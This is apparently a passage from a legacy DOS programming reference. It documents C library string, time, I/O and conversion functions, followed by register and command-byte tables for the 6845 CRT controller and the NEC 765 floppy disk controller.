      char  *~strlwr~( char *s )
      char  *~strrev~( char *s )
      double ~strtod~( const char *s, char **endptr )
      long  ~strtol~( const char *s, char **endptr, int radix )
      unsigned long ~strtoul~( const char *s, char **endptr, int radix )
      char  *~strupr~( char *s )
      char  *~strdup~( const char *s )


%     Search:
      char  *~strchr~( char *s, int c )
      size_t ~strcspn~( const char *s1, const char *s2 )
      char  *~strpbrk~( const char *s1, const char *s2 )
      char  *~strrchr~( const char *s, int c )
      size_t ~strspn~( const char *s1, const char *s2 )
      char  *~strstr~( const char *s1, const char *s2 )
      char  *~strtok~( char *s1, const char *s2 )


%     Comparison:
      int ~strcmp~( const char *s1, const char *s2 )
      int ~strcmpi~( const char *s1, const char *s2 )
      int ~stricmp~( const char *s1, const char *s2 )
      int ~strncmp~( const char *s1, const char *s2, size_t maxlen )
      int ~strncmpi~( const char *s1, const char *s2, size_t maxlen )
      int ~strnicmp~( const char *s1, const char *s2, size_t maxlen )


%     Copy:
      char *~stpcpy~( char *dest, const char *src )
      char *~strcpy~( char *dest, const char *src )
      char *~strcat~( char *dest, const char *src )
      char *~strncat~( char *dest, const char *src, size_t maxlen )
      char *~strncpy~( char *dest, const char *src, size_t maxlen )


%     Miscellaneous:
      size_t ~strlen~( const char *s )
      char  *~strnset~( char *s, int ch, size_t n )
      char  *~strset~( char *s, int ch )
      char  *~strerror~( int errnum )
      char  *~_strerror~( const char *s )

:stpcpy
^char *stpcpy( char *dest, const char *src )


      - prototype in string.h

      - copies src into dest
      - returns dest+~strlen~(src)
```

```
:strcat
^char *strcat( char *dest, const char *src )


      - prototype in string.h

      - appends src to dest

:strchr
^char *strchr( const char *str, int c )


      - prototype in string.h

      - scans str for first occurrence of c
      - returns pointer to c in str, or NULL if not found

:strcmp
^int strcmp( const char *str1, const char *str2 )


      - prototype in string.h

      - compares str1 to str2
      - returns < 0 if str1 < str2, = 0 if str1 = str2, or > 0
        if str1 > str2, using a signed comparison

:strcpy
^char *strcpy( char *dest, const char *src )


      - prototype in string.h

      - copies src into dest
      - returns dest

:strcspn
^size_t strcspn( const char *str1, const char *str2 )


      - prototype in string.h

      - returns length of initial segment of str1 that consists
        entirely of characters NOT from str2

:_strdate:_strtime
%              MSC: char *_strdate( char *date )
%              MSC: char *_strtime( char *time )


      - prototype in time.h

      - date = formatted date string: mm/dd/yy (9 bytes inc NULL)
      - time = formatted time string: hh:mm:ss (9 bytes inc NULL)
      - returns pointer to the parameter string

      - Turbo C uses ~strdate~() and ~strtime~()

:strdup
^char *strdup( const char *str )


      - prototype in string.h
```

```
      - duplicates str, getting space with a call to ~malloc~()
      - returns pointer to duplicated string, or NULL if space could not
        be allocated

:_strerror
^MSC: char *_strerror( char *string )


      - prototype in string.h

      - creates an error message based on the user supplied string
        followed by a colon, then the library error message
      - string = user error message string
      - returns pointer to the generated string
      - does not print the string


:strerror
^char *strerror( char *str )


      - prototype in string.h

      - str should contain your customized error message to which a system
        error message will be appended
      - allows you to generate customized error messages, returning a
        pointer to a null-terminated string containing an error message
      - if str is NULL, the return value contains the most recently
        generated system error message; this string is null-terminated
      - if str is not NULL, the return value contains, a colon, a space,
        the most recently generated system error message, and a newline;
        with length of str being 94 characters or less
      - this function generates the error string but does NOT print it
      - for accurate error-handling, strerror should be called as soon
        as a library routine generates an error return

:stricmp
^int stricmp( const char *str1, const char *str2 )


      - prototype in string.h

      - compares str1 to str2 without case sensitivity

      - returns < 0 if str1 < str2
              = 0 if str1 = str2
              > 0 if str1 > str2

        using a signed comparison

:strlen
^size_t strlen( const char *str )


      - prototype in string.h

      - returns number of characters in str, not counting the null
        terminating character

:strlwr
^char *strlwr( char *str )
```

```
      - prototype in string.h

      - converts str to all lower case

:strncat
^char *strncat( char *dest, const char *src, size_t maxlen )


      - prototype in string.h

      - appends up to maxlen characters of src to dest and then
        appends a null character

:strncmp
^int strncmp( const char *str1, const char *str2, size_t maxlen )


      - prototype in string.h

      - compares str1 to str2 up to maxlen characters

      - returns < 0 if str1 < str2
              = 0 if str1 = str2
              > 0 if str1 > str2

        using a signed comparison

:strncpy
^char *strncpy( char *dest, const char *src, size_t maxlen )


      - prototype in string.h

      - copies exactly maxlen characters from src to dest, truncating
        or null-padding dest
      - dest might NOT be null-terminated if length of src >= maxlen

:strnicmp
^int strnicmp( const char *str1, const char *str2, size_t maxlen )


      - prototype in string.h

      - compares str1 to str2 up to maxlen chars ignoring case

      - returns < 0 if str1 < str2
              = 0 if str1 = str2
              > 0 if str1 > str2

        using a signed comparison

:strnset
^char *strnset( char *str, int ch, size_t n )


      - prototype in string.h

      - sets up to first n bytes of str to ch
      - if n > ~strlen~(str) then strlen(str) replaces n

:strpbrk
^char *strpbrk( const char *str1, const char *str2 )
```

```
      - prototype in string.h

      - scans str1 for first occurrence of any character appearing in str2
      - returns pointer to first occurrence; NULL if not found

:strrchr
^char *strrchr( const char *str, int c )


      - prototype in string.h

      - scans a string in reverse direction for specified character c
      - strrchr finds the LAST occurrence of c in str
      - returns pointer to LAST occurrence, or NULL if not found

:strrev
^char *strrev( char *str )


      - prototype in string.h

      - reverses all characters in str, except null terminator

:strset
^char *strset( char *str, int ch )


      - prototype in string.h

      - sets all characters in str to ch

:strspn
^size_t strspn( const char *str1, const char *str2 )


      - prototype in string.h

      - returns length of initial segment of str1 that consists
        entirely of characters from str2

:strstr
^char *strstr( const char *anchor, const char *testpattern )


      - prototype in string.h

      - returns a pointer within anchor where testpattern is found,
        or NULL if testpattern is not found in anchor
      - may be incompatible with Microsoft C

:strtod
^double strtod( const char *str, char **endptr )


      - prototype in string.h

      - converts string str to a double value
      - stops reading at tfirst character that cannot be interpreted
        as part of a double value, returning in *endptr
      - str must have format:
```

```
        [ws][sn][ddd][.][ddd][fmt[sn]ddd]

        where [ws]  = optional whitespace
            [sn]  = optional sign (+-)
            [ddd] = optional digits
            [fmt] = option e or E
            [.]   = optional decimal point

:strtok
^char *strtok( char *str1, const char *str2 )


      - prototype in string.h

      - parses str1 for tokens and separators, where separators are
        defined in str2
      - first call returns a pointer to the first character of the first
        token in str1 and writes a null character into str1 immediately
        following the returned token;   subsequent calls with NULL for
        the first argument will work through the string str1 in this way
        until no tokens remain
      - when tokens are exhausted, returns NULL

:strtol:strtoul
%     long strtol( const char *str, char **endptr, int base )
%     unsigned long strtoul( const char *s, char **endptr, int radix )

      - prototype in string.h

      - converts string str to long (or unsigned long) value
      - stops reading at first character that cannot be interpreted
        as part of a long value, returning in *endptr
      - str must have format:

        [ws][sn][0][x][ddd]

        where [ws]  = optional whitespace
            [sn]  = optional sign (+-)
            [0]   = optional zero
            [x]   = optional x or X
            [ddd] = optional digits

       - base is between 2 and 36; if 0, first few characters of str
         determines base to be used (oct,hex or dec) any other value
         of base is illegal
:strupr
^char *strupr( char *str )


      - prototype in string.h

      - converts to all uppercase

:swab
^void swab( char *src, char *dest, int nbytes )


      - prototype in stdlib.h

      - copies nbytes bytes from src into dest, with adjacent even and
        odd-byte positions being swapped
      - nbytes should therefore be an even number
      - a standard way of performing this is to use the ~XCHG~ instruction
```

```
:system
^int system( const char *command )


      - prototype in stdlib.h

      - invokes MS-DOS COMMAND.COM to execute "command", returning exit
        status of COMMAND.COM;  the COMSPEC environment variable is
        automatically searched if necessary
      - a CR/LF pair in the command string will result in an error
      - see ~exec...~   ~spawn...~
:tan
^double tan( double x )


      - prototype in math.h

      - returns tangent of x
      - x must be in radians

:tanh
^double tanh( double x )


      - prototype in math.h

      - returns hyperbolic tangent of x
      - x must be in radians

:tell
^long tell( int handle )


      - prototype in io.h

      - returns offset within file corresponding to handle
      - returns -1L on error

      - see ~lseek~()
:tempnam:tmpnam
%           MSC: char *tempnam( char *dir, char *prefix )
%           MSC: char *tmpnam( char *string )


      - prototype in stdio.h

      - string = buffer to receive temporary filename
      - tempnam() creates a temporary file in the specified directory
        "dir" using the "prefix" as the beginning of the filename;
        memory for the resulting filename is allocate via ~malloc~() and
        must be freed with ~free~()
      - tmpnam() creates the temporary file in the current directory
      - return a pointer to the new name or NULL on error

:time
^time_t time( time_t *tloc )


      - prototype in time.h

      - gives current time in seconds elapsed since 00:00:00 GMT,
        January 1, 1970, and stores it into tloc
```

```
:tmpfile
^MSC: FILE *tmpfile( void )


      - prototype in stdio.h

      - creates and opens a temporary stream file
      - returns stream pointer or NULL on error
      - file is automatically deleted when closed or rmtmp() is called
      - ~rmtmp~() works only if in original directory
      - file is opened in binary write mode; except MS C version 4.0
        opened file in write translate mode

:toascii
^int toascii( int c )


      - prototype in ctype.h

      - clears all but lower 7 bits in c, converting to ASCII

:_tolower
^int _tolower( int c )


      - prototype in ctype.h

      - converts c to lowercase if c is UPPER case
      - use ~tolower~() preferentially

:tolower
^int tolower( int c )


      - prototype in ctype.h

      - converts c to LOWER case only if c is UPPER case

:_toupper
^int _toupper( int c )


      - prototype in ctype.h

      - converts c to UPPER case only if c is  LOWER case
      - use ~toupper~() preferentially

:toupper
^int toupper( int c )


      - prototype in ctype.h

      - converts c to UPPER case only if c is  LOWER case

:tzset
^void tzset( void )


      - prototype in time.h

      - included for UNIX compatibility but does nothing in DOS
```

```
:ultoa
^char *ultoa( unsigned long value, char *string, int radix )


      - prototype in stdlib.h

      - converts value to string where radix specifies base
        (2-36) for conversion

:umask
^MSC: int umask( int permission )


      - prototype in io.h, sys\types.h, sys\stat.h

      - changes permision in which a file may be accessed
      - permission      = S_IWRITE  write is forbidden
                  = S_IREAD   read is forbidden  (ignored by DOS)
                  = S_IWRITE | S_IREAD  no reading or writing

      - returns previous permission value

:ungetc
^int ungetc( int c, FILE *fp )


      - prototype in stdio.h

      - pushes character "c" back into file stream "fp"

:ungetch
^void ungetch( int c )


      - prototype in conio.h

      - similar to ~ungetc~() except pushes character back to keyboard buffer

:unixtodos
%     TC: void unixtodos( long utime, struct date *dateptr,
%                     struct time *timeptr)


      - prototype in dos.h

      - converts date & time to DOS format
      - no corresponding MS C function

:unlink
^int unlink( const char *filename )


      - prototype in dos.h or io.h

      - returns 0 if successful, else -1
      - attempts to delete an open file may damage the file system

:unlock
^TC: int unlock( int handle, long offset, long length )


      - prototype in io.h
```

```
      - unlock() removes locks placed on a file region by lock()
      - returns 0 on success, else -1 on error
      - all locks must be released before program termination
      - MS C uses ~locking~()
      - see ~lock C~
:utime
^MSC: int utime( char *path, struct utimbuf *times )


      - prototype in sys\types.h, sys\utime.h

      - path = any valid DOS filename
      - times = time values in structure (modtime should be set)
      - if write access to the file is available the file time is updated
        from the modtime field
      - if times is NULL the file date is set to current time
      - returns 0 on success or -1 on error

      struct utimbuf
          {
          time_t actime;      - access time (not used in DOS)
          time_t modtime;     - modification time
          };

:vfprintf
^int vfprintf( FILE *stream, const char *format, va_list param )


      - prototype in stdio.h

      - sends formatted output to a stream

:vfscanf
^int vfscanf( FILE *stream, const char *format, va_list argp )


      - prototype in stdio.h

      - like ~fscanf~(), except arguments accepted from va_arg array from
        va_list parm

:vprintf
^int vprintf( const char *format, va_list param )


      - prototype in stdio.h

      - sends formatted output to stdout

:vscanf
^int vscanf( const char *format, va_list argp )


      - prototype in stdio.h

      - like ~scanf~(), except arguments accepted from va_arg array from
        va_list parm

:vsprintf
^int vsprintf( char *string, const char *format, va_list param )


      - prototype in stdio.h
```

```
      - sends formatted output to a string

:vsscanf
%     int vsscanf( const char *string, const char *format, va_list argp )


      - prototype in stdio.h

      - like ~sscanf~(), except arguments accepted from va_list parm

:_wrapon
^MSC: short far _wrapon( short wrap )


      - prototype in graph.h

      - sets wrapping/truncating of text
      - wrap      = _GWRAPOFF truncates text at window border
            = _GWRAPON  wraps line at window border

      - returns previous wrap value

:_write
^TC: int _write( int handle, char *buf, int count )


      - prototype in io.h

      - writes "count" bytes from "buf" to file or device at "handle"
      - count cannot be greater that 65534
      - is a direct call to MS-DOS write function ~INT 21,40~
      - does NO conversion of CR/LFs; all output is binary
      - returns a count of bytes written  or -1 on error
      - MS C uses ~_dos_write~()

      - see  ~write~()  ~_open~()  ~_creat~()  ~_read~()

:write
^int write( int handle, char *buf, int count )


      - prototype in io.h

      - writes "count" bytes from "buf" to file or device at "handle"
      - converts LF to CR-LF for text output
      - returns a count of bytes written (excluding any CRs
        generated for a text file), or -1 on error
:stdarg:va_start:va_end:va_list
^Example of variable arguments in C

      void myprintf( char *format, ... )
         {
         va_list argptr;

         va_start ( argptr, format );
         vsprintf ( text, format, argptr );
         va_end ( argptr );
         write (1, text, strlen (text));
         }
```

```
@Hardware Data and Specifications
:6845:CRTC
^6845 - Motorola CRT Controller

      3B0-3BB Monochrome Monitor Adapter
      3D0-3DC Color Graphics Adapter (mapped similarly)

      3B0/3D0  port address decodes to 3B4/3D4
      3B1/3D1  port address decodes to 3B5/3D5
      3B2/3D2  port address decodes to 3B4/3D4
      3B3/3D3  port address decodes to 3B5/3D5
      3B4/3D4  6845 index register, selects which register [0-11h]
             is to be accessed through port 3B5/3D5
      3B5/3D5  6845 data register [0-11h] selected by port 3B4/3D4,
             registers 0C-0F may be read.  If a read occurs
             without the adapter installed, FFh is returned.
      3B6/3D6  port address decodes to 3B4/3D4
      3B7/3D7  port address decodes to 3B5/3D5
      3B8/3D8  6845 mode control register
      3B9/3D9  color select register on color adapter
      3BA/3DA  status register (read only)
      3BB/3DB  light pen strobe reset
          3DC  preset light pen latch
          3DF  CRT/CPU page register (PCjr only)

%     Registers: Accessed through ports 3B5 & 3D5    VALID VALUES
%                                       MONO CO40 CO80 GRPH
      00 - Horiz. total characters            61   38   71   38
      01 - Horiz. displayed characters per line    50   28   50   28
      02 - Horiz. synch position              52   2D   5A   2D
      03 - Horiz. synch width in characters        0F   0A   0A   0A
      04 - Vert. total lines                  19   1F   1F   7F
      05 - Vert. total adjust (scan lines)         06   06   06   06
      06 - Vert. displayed rows               19   19   19   64
      07 - Vert. synch position (character rows)   19   1C   1C   70
      08 - Interlace mode                     02   02   02   02
      09 - Maximum scan line address               0D   07   07   01
      0A - Cursor start (scan line)           0B   06   06   06
      0B - Cursor end (scan line)             0C   07   07   07
      0C - Start address (MSB)                00   00   00   00
      0D - Start address (LSB)                00   00   00   00
      0E - Cursor address (MSB) (read/write)       00   --   --   --
      0F - Cursor address (LSB) (read/write)       00   --   --   --
      10 - Light pen (MSB)   (read only)      --   --   --   --
      11 - Light pen (LSB)   (read only)      --   --   --   --

      - Registers 00-0D are write only, registers 0E-0F are read/write and
        registers 10-11 are read only
      - Cursor address is calculated with using the following (row*80)+col

^6845 - Port 3B8 (Monochrome)

      ³7³6³5³4³3³2³1³0³  3B8 CRT Control Port
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = 80x25 text
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ unused
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = enable video signal
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ unused
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = blinking on
       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ unused

^6845 - Port 3D8 (Color)

      ³7³6³5³4³3³2³1³0³  3D8 Mode Select Register
```

```
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = 80x25 text, 0 = 40x25 text
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = 320x200 graphics, 0 = text
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = B/W, 0 = color
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = enable video signal
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1 = 640x200 B/W graphics
       ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = blink, 0 = no blink
       ÀÄÁÄÄÄÄÄÄÄÄÄÄ unused

^6845 - Port 3D9 Color Text Modes

      ³7³6³5³4³3³2³1³0³  3D9 Color Select Register (3B9 not used)
       ³ ³ ³ ³ ³ ÀÄÁÄÁÄÄÄÄ screen/border RGB
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ select intensity setting
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ background intensity
       ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ unused

^6845 - Port 3D9 Color Graphics Modes

      ³7³6³5³4³3³2³1³0³  3D9 Color Select Register (3B9 not used)
       ³ ³ ³ ³ ³ ÀÄÁÄÁÄÄÄÄ RGB for background
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ intensity
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ unused
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄ 1 = palette 1, 0=palette 0 (see below)
       ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ unused

        Palette 0 = green, red, brown
        Palette 1 = cyan, magenta, white

^6845 - Port 3DA  Status Register

      ³7³6³5³4³3³2³1³0³  3DA Status Register
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = display enable, RAM access is OK
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = light pen trigger set
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 0 = light pen on, 1 = light pen off
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = vertical retrace, RAM access OK for next 1.25ms
       ÀÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄ unused
:765:FDC:NEC 765:8272:floppy controller
^NEC æPD765  -    Floppy Disk Controller  -  8272A

%     PS/2 FDC Diskette Status Register A at 3F0h

      ³7³6³5³4³3³2³1³0³  3F0h  PS/2 Disk Status Register A (read-only)
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ direction
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ write protect
       ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ index
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ head 1 select
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄ track 0
       ³ ³ ÀÄÄÄÄÄÄÄÄÄ step
       ³ ÀÄÄÄÄÄÄÄÄÄÄÄ second drive installed
       ÀÄÄÄÄÄÄÄÄÄÄÄÄ interrupt pending

%     PS/2 FDC Diskette Status Register B at 3F1h

      ³7³6³5³4³3³2³1³0³  3F1h  PS/2 Disk Status Register B (read-only)
       ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ motor enable 0
       ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ motor enable 1
       ³ ³ ³ ³ ³ ÀÄÄÄÄ write enable
       ³ ³ ³ ³ ÀÄÄÄÄ read data (toggles w/positive transition in -RD DATA)
       ³ ³ ³ ÀÄÄÄÄ write data (toggles w/positive transition in WR DATA)
       ³ ³ ÀÄÄÄÄ drive select
       ÀÄÁÄÄÄÄ reserved

%     FDC Digital Output Register at 3F2h  (all systems)
```

```
³7³6³5³4³3³2³1³0³  port 3F2h  (write only)
 ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄ floppy drive select (0=A, 1=B, 2=floppy C, ...)
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = FDC enable, 0 = hold FDC at reset
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ 1 = DMA & I/O interface enabled  (reserved PS/2)
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ 1 = turn floppy drive A motor on
 ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ 1 = turn floppy drive B motor on
 ³ ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = turn floppy drive C motor on; (reserved PS/2)
 ÀÄÄÄÄÄÄÄÄÄÄÄÄ 1 = turn floppy drive D motor on; (reserved PS/2)
```

- used to control drive motors, drive selection, and feature enable
- PS/2 only uses bit 0 for floppy drive select; bit 1 is reserved
- PS/2 only uses bits 5 & 4 for motor enable; bits 7&6 are reserved
- all DOR bits are cleared during controller reset

% FDC Main Status Register at 3F4h (all systems)

```
³7³6³5³4³3³2³1³0³  port 3F4h  (read only)
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ floppy drive 0 in seek mode/busy
 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ floppy drive 1 in seek mode/busy
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ floppy drive 2 in seek mode/busy (reserved PS/2)
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ floppy drive 3 in seek mode/busy (reserved PS/2)
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ FDC read or write command in progress
 ³ ³ ÀÄÄÄÄÄÄÄÄÄ FDC is in non-DMA mode
 ³ ÀÄÄÄÄÄÄÄÄÄÄ I/O direction;  1 = FDC to CPU; 0 = CPU to FDC
 ÀÄÄÄÄÄÄÄÄÄÄÄ data reg ready for I/O to/from CPU (request for master)
```

% FDC Command Status Register 0 at 3F5h (all systems)

```
³7³6³5³4³3³2³1³0³  Command Status Register 0 at port 3F5h
 ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄÄ unit selected at interrupt (0=A, 1=B, 2=...)
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ head number at interrupt (head 0 or 1)
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ not ready on read/write or SS access to head 1
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ equipment check (see note)
 ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ set to 1 when FDD completes a seek command
 ÀÄÁÄÄÄÄÄÄÄÄÄÄÄÄ last command status (see below)
```

% Bits
% 76 Last Command Status
 00 command terminated successfully
 01 command execution started but terminated abnormally
 10 invalid command issued
 11 command terminated abnormally due to a change in state of
     the Ready Signal from the FDC (reserved on PS/2)

- equipment check can occur if FDD signals a fault or track zero is
  not found after 77 steps on a recalibrate command
- PS/2 only uses bits 1-0 for drive (values are 01b and 10b)

% FDC Command Status Register 1 at 3F5h (all systems)

```
³7³6³5³4³3³2³1³0³  Command Status Register 1 at port 3F5h
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ FDC cannot find ID address mark (see reg 2)
 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ write protect detected during write
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ FDC cannot find sector ID
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ unused (always zero)
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ over-run;  FDC not serviced in reasonable time
 ³ ³ ÀÄÄÄÄÄÄÄÄÄ data error (CRC) in ID field or data field
 ³ ÀÄÄÄÄÄÄÄÄÄÄ unused (always zero)
 ÀÄÄÄÄÄÄÄÄÄÄÄ end of cylinder; sector# greater than sectors/track
```

- bit 0 of Status Register 1 and bit 4 of Status Register 2 are
  related and mimic each other

%   FDC Command Status Register 2 at 3F5h (all systems)

```
³7³6³5³4³3³2³1³0³  Command Status Register 2 at port 3F5h
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ missing address mark in data field
 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ bad cylinder, ID not found and Cyl Id=FFh
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ scan command failed, sector not found in cylinder
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ scan command equal condition satisfied
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄ wrong cylinder detected
 ³ ³ ÀÄÄÄÄÄÄÄÄÄ CRC error detected in sector data
 ³ ÀÄÄÄÄÄÄÄÄÄÄ sector with deleted data address mark detected
 ÀÄÄÄÄÄÄÄÄÄÄÄ unused (always zero)
```

- bit 0 of Status Register 1 and bit 4 of Status Register 2 are
  related and mimic each other

%   FDC Command Status Register 3 at 3F5h (FDD status, all systems)

```
³7³6³5³4³3³2³1³0³  Floppy Disk Drive Status at port 3F5h
 ³ ³ ³ ³ ³ ³ ÀÄÁÄÄÄ FDD unit selected status (0=A, 1=B, 2=...)
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ FDD side head select status (0=head 0, 1=head 1)
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ FDD two sided status signal
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ FDD track zero status signal
 ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ FDD ready status signal
 ³ ÀÄÄÄÄÄÄÄÄÄÄÄ FDD write protect status signal
 ÀÄÄÄÄÄÄÄÄÄÄÄÄ FDD fault status signal
```

%   PS/2 FDC Digital Input Register at 3F7h

```
³7³6³5³4³3³2³1³0³  3F7h  PS/2 Digital Input Register (read only)
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ high density select
 ³ ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄ reserved
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diskette change
```

%   PS/2 FDC Configuration Control Register at 3F7h

```
³7³6³5³4³3³2³1³0³  3F7h  PS/2 Config. Control Register (write only)
 ³ ³ ³ ³ ³ ³ ÀÄÁÄÄ DRC1, DRC0  (see below)
 ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄ reserved
```

```
DRC1 DRC0
  0   0    500000 bit per second mode
  0   1    reserved
  1   0    250000 bit per second mode
  1   1    reserved
```

- Digital Input Register is used to sense the state of the
  (-diskette change) and the (-high density select) signals
- Configuration Control Register is used to set the transfer rate

^FDC Programming Considerations

%   Three phases of command execution:

1. Command phase; commands are sent from the CPU to the FDC via
   port 3F5h;   bit 6 of the Status Register at 3F4h must be zero
2. Execution phase; FDC executes instruction & generates INT 6
3. Result phase; status and other information is available to CPU;
   INT 6 sets bit 7 of BIOS Data Area location 40:3E which can
   be polled for completion status

```
%     Example of a read operation:

      1. turn disk motor on and set delay time for drive spin up
      2. perform seek operation;  wait for disk interrupt
      3. prepare DMA chip to move data to memory
      4. send read command and wait for transfer complete interrupt
      5. read status information
      6. turn disk motor off


^Floppy Diskette Controller Operations (15 commands)

%     Read Data      D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:    MT  MF  SK 0   0 1   1 0
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      command byte 2:    cylinder number
      command byte 3:    head number
      command byte 4:    sector number
      command byte 5:    bytes per sector
      command byte 6:    end of track (last sector in track)
      command byte 7:    gap 3 length
      command byte 8:    data length (if cmd byte 5==0)
      result byte 0:       status register 0
      result byte 1:       status register 1
      result byte 2:       status register 2
      result byte 3:       cylinder number
      result byte 4:       head number
      result byte 5:       sector number
      result byte 6:       bytes per sector

%     Read Deleted Data  D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:    MT  MF  SK 0   1 1   0 0
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      command byte 2:    cylinder number
      command byte 3:    head number
      command byte 4:    sector number
      command byte 5:    bytes per sector
      command byte 6:    end of track (last sector in track)
      command byte 7:    gap 3 length
      command byte 8:    data length (if cmd byte 5==0)
      result byte 0:       status register 0
      result byte 1:       status register 1
      result byte 2:       status register 2
      result byte 3:       cylinder number
      result byte 4:       head number
      result byte 5:       sector number
      result byte 6:       bytes per sector

%     Write Data     D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:    MT  MF   0 0   0 1   0 1
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      command byte 2:    cylinder number
      command byte 3:    head number
      command byte 4:    sector number
      command byte 5:    bytes per sector
      command byte 6:    end of track (last sector in track)
      command byte 7:    gap 3 length
      command byte 8:    data length (if cmd byte 5==0)
      result byte 0:       status register 0
```

```
      result byte 1:       status register 1
      result byte 2:       status register 2
      result byte 3:       cylinder number
      result byte 4:       head number
      result byte 5:       sector number
      result byte 6:       bytes per sector

%     Write Deleted Data D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:    MT  MF   0 0   1 0   0 1
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      command byte 2:    cylinder number
      command byte 3:    head number
      command byte 4:    sector number
      command byte 5:    bytes per sector
      command byte 6:    end of track (last sector in track)
      command byte 7:    gap 3 length
      command byte 8:    data length (if cmd byte 5==0)
      result byte 0:       status register 0
      result byte 1:       status register 1
      result byte 2:       status register 2
      result byte 3:       cylinder number
      result byte 4:       head number
      result byte 5:       sector number
      result byte 6:       bytes per sector

%     Read a Track         D7  D6  D5  D4  D3  D2  D1  D0
%     (Diagnostic)
      command byte 0:     0  MF  SK 0   0 0   1 0
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      command byte 2:    cylinder number
      command byte 3:    head number
      command byte 4:    sector number
      command byte 5:    bytes per sector
      command byte 6:    end of track (last sector in track)
      command byte 7:    gap 3 length
      command byte 8:    data length (if cmd byte 5==0)
      result byte 0:       status register 0
      result byte 1:       status register 1
      result byte 2:       status register 2
      result byte 3:       cylinder number
      result byte 4:       head number
      result byte 5:       sector number
      result byte 6:       bytes per sector

%     Read ID        D7  D6  D5  D4  D3  D2  D1  D0

      command byte 0:     0  MF   0 0   1 0   1 0
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      result byte 0:       status register 0
      result byte 1:       status register 1
      result byte 2:       status register 2
      result byte 3:       cylinder number
      result byte 4:       head number
      result byte 5:       sector number
      result byte 6:       bytes per sector

%     Format a Track       D7  D6  D5  D4  D3  D2  D1  D0
%     (Write Sector IDs)
      command byte 0:     0  MF   0 0   1 1   0 1
      command byte 1:     ?   ?   ? ?   ?  HD  US1 US0
      command byte 2:    bytes per sector
      command byte 3:    sectors per track
```

```
        command byte 4:    gap 3 length
        command byte 5:    filler pattern to write in each byte
        result byte 0:       status register 0
        result byte 1:       status register 1
        result byte 2:       status register 2
        result byte 3:       cylinder number
        result byte 4:       head number
        result byte 5:       sector number
        result byte 6:       bytes per sector

